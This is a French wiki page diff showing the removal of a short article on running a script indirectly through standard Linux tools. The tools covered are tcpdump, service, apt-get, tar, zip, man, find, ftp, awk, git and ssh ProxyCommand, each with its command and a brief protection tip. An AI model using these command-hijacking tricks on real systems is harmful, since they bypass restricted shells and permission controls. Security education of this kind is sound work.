Ci-dessous, les différences entre deux révisions de la page.
appsysteme:detournement_de_commande [2016/02/18 09:48] arkinar créée |
appsysteme:detournement_de_commande [2016/07/04 08:38] |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
- | **Exécution détourné de commande** | ||
- | |||
- | **1.Présentation** | ||
- | |||
- | Le but de cette article est de montrer comment il est possible d'arriver à exectuer un script runme.sh sans l'appeler depuis le shell. | ||
- | |||
- | Le script est le suivant : | ||
- | |||
- | <code> | ||
- | #! /bin/bash | ||
- | |||
- | echo "Hacker forever !" | ||
- | echo "Remember it !" | ||
- | |||
- | </code> | ||
- | |||
- | **2.Exploitation** | ||
- | |||
- | Nous allons utiliser des commandes de bases présentes sur les systèmes d'exploitation linux pour parvenir à nos fins. | ||
- | |||
- | __2.1 TCPDUMP__ | ||
- | |||
- | <code>tcpdump -n -i -lo -G1 -w /dev/null -z ./runme.sh </code> | ||
- | |||
- | {{ :appsysteme:commande.png?nolink |}} | ||
- | |||
- | __2.2 SERVICE__ | ||
- | |||
- | <code>service ../../tmp/runme.sh </code> | ||
- | |||
- | {{ :appsysteme:commande2.png?nolink |}} | ||
- | |||
- | __2.3 APT-GET__ | ||
- | |||
- | <code> | ||
- | echo 'Dpkg::Pre-invoke {"~/tmp/runme.sh";};' > dpkg-opts | ||
- | |||
- | apt-get install coway -c=dpkg-opts | ||
- | </code> | ||
- | |||
- | __2.4 TAR__ | ||
- | |||
- | Première manière : | ||
- | |||
- | <code> tar c a.tar -I ./runme.sh a </code> | ||
- | |||
- | {{ :appsysteme:commande3.png?nolink |}} | ||
- | |||
- | Seconde manière : | ||
- | |||
- | <code> tar cvf a.tar runme.sh --checkpoint-action=exec='sh ./runme.sh' --checkpoint=1 </code> | ||
- | |||
- | {{ :appsysteme:commande4.png?nolink |}} | ||
- | |||
- | __2.5 ZIP__ | ||
- | |||
- | <code>zip z.zip runme.sh -T -TT ./runme.sh</code> | ||
- | |||
- | {{ :appsysteme:commande5.png?nolink |}} | ||
- | |||
- | __2.6 MAN__ | ||
- | |||
- | <code> man -P /tmp/runme.sh man </code> | ||
- | |||
- | {{ :appsysteme:commande6.png?nolink |}} | ||
- | |||
- | __2.7 FIND__ | ||
- | |||
- | <code> find . -name runme.sh -exec ./runme.sh \; </code> | ||
- | |||
- | {{ :appsysteme:commande7.png?nolink |}} | ||
- | |||
- | __2.9 FTP__ | ||
- | |||
- | <code> | ||
- | ftp | ||
- | |||
- | ! ./runme.sh | ||
- | |||
- | </code> | ||
- | |||
- | {{ :appsysteme:commande8.png?nolink |}} | ||
- | |||
- | __2.10 AWK__ | ||
- | |||
- | <code> awk 'BEGIN {system("./runme.sh")}' </code> | ||
- | |||
- | {{ :appsysteme:commande12.png?nolink |}} | ||
- | |||
- | __2.11 GIT__ | ||
- | |||
- | Nous allons modifier la variable d'environnement PATH. | ||
- | |||
- | <code> | ||
- | export PATH=/tmp:$PATH | ||
- | ln -sf /tmp/runme.sh /tmp/git-help | ||
- | git --exec-path=/tmp help | ||
- | </code> | ||
- | |||
- | __2.12 SSH__ | ||
- | |||
- | <code> | ||
- | $ cat .ssh/config | ||
- | |||
- | Host server | ||
- | Hostname server.corp | ||
- | ProxyCommand /tmp/runme.sh | ||
- | </code> | ||
- | |||
- | |||
- | |||
- | 3.Comment se protéger | ||
- | |||
- | Il faut bien paramétrer les droits sur votre système linux pour que les utilisateurs n'est que le strict nécessaire des commandes. | ||
- | |||
- | Source : Misc n°83 janvier/février 2016 | ||